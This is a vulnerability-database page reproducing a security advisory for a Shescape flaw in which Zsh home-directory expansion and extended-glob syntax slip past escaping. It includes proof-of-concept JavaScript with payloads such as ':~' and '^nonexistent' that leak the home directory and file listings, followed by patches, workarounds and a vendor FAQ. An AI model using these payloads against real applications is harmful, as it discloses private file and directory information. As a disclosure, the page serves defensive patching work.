Vulnerability Database

363,159

Total vulnerabilities in the database

Shescape: Path disclosure on Unix with Zsh — shescape

Improper Neutralization of Wildcards or Matching Symbols

Impact

This impacts users of Shescape on Unix systems that explicitly configure shell to Zsh, or true when the default shell is Zsh, using the escape and escapeAll. The Zsh options EXTENDED_GLOB and MAGIC_EQUAL_SUBST exacerbate the problem.

In certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information.

Without option / with MAGIC_EQUAL_SUBST

import * as cp from "node:child_process"; import { Shescape } from "shescape"; // 1. Prerequisites const options = { shell: "zsh", // Or shell: true, // Only if the default shell is Zsh }; // 2. Payload const payload1 = ":~"; // Or const payload2 = "a=~"; // requires MAGIC_EQUAL_SUBST // 3. Usage const shescape = new Shescape(options); let escapedPayload; escapedPayload = shescape.escape(payload1); // Or escapedPayload = shescape.escapeAll([payload1]); // And (example) const result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options); // Or escapedPayload = shescape.escape(payload2); // Or escapedPayload = shescape.escapeAll([payload2]); // And (example) const result2 = cp.execSync(`echo ${escapedPayload}`, options); // 4. Impact console.log("", result1.toString().trim(), "\n", result2.toString().trim()); // Outputs ":" followed by the user's home directory on one line and "a=" // followed by the user's home directory (under MAGIC_EQUAL_SUBST) on the next.

With EXTENDED_GLOB

import * as cp from "node:child_process"; import { Shescape } from "shescape"; // 1. Prerequisites const options = { shell: "zsh", // Or shell: true, // Only if the default shell is Zsh }; // And (example) // `setopt EXTENDED_GLOB` in ~/.zshenv // 2. Payload let payload; payload = "pa#ckage.json"; // Or payload = "^package.json~package-lock.json"; // Or payload = "^nonexistent"; // 3. Usage const shescape = new Shescape(options); let escapedPayload; escapedPayload = shescape.escape(payload); // Or escapedPayload = shescape.escapeAll([payload]); // And (example) const result = cp.execSync(`echo ${escapedPayload}`, options); // 4. Impact console.log(result.toString()); // Outputs files and directories in the current directory

Patches

This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.

If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.

No patches will be released for version of Shescape lower than v2.0.0.

Workarounds

Alternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the EXTENDED_GLOB option is disabled, 3) remove all instances of ^, #, and ~ from untrusted inputs.

For more information

  • Comment on Pull Request [#2651] for v2 and [#2649] for v3
  • Comment on commit [b4b34c3] for v2 and [43d70b5] for v3
  • Open an issue at <https://github.com/ericcornelissen/shescape/issues> (New issue > Question)
  • Published: Jul 24, 2026
  • Updated: Jul 25, 2026
  • GHSA: GHSA-6v4m-fw66-8r4x
  • Severity: Medium
  • Exploit:
  • CISA KEV:

No technical information available.

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.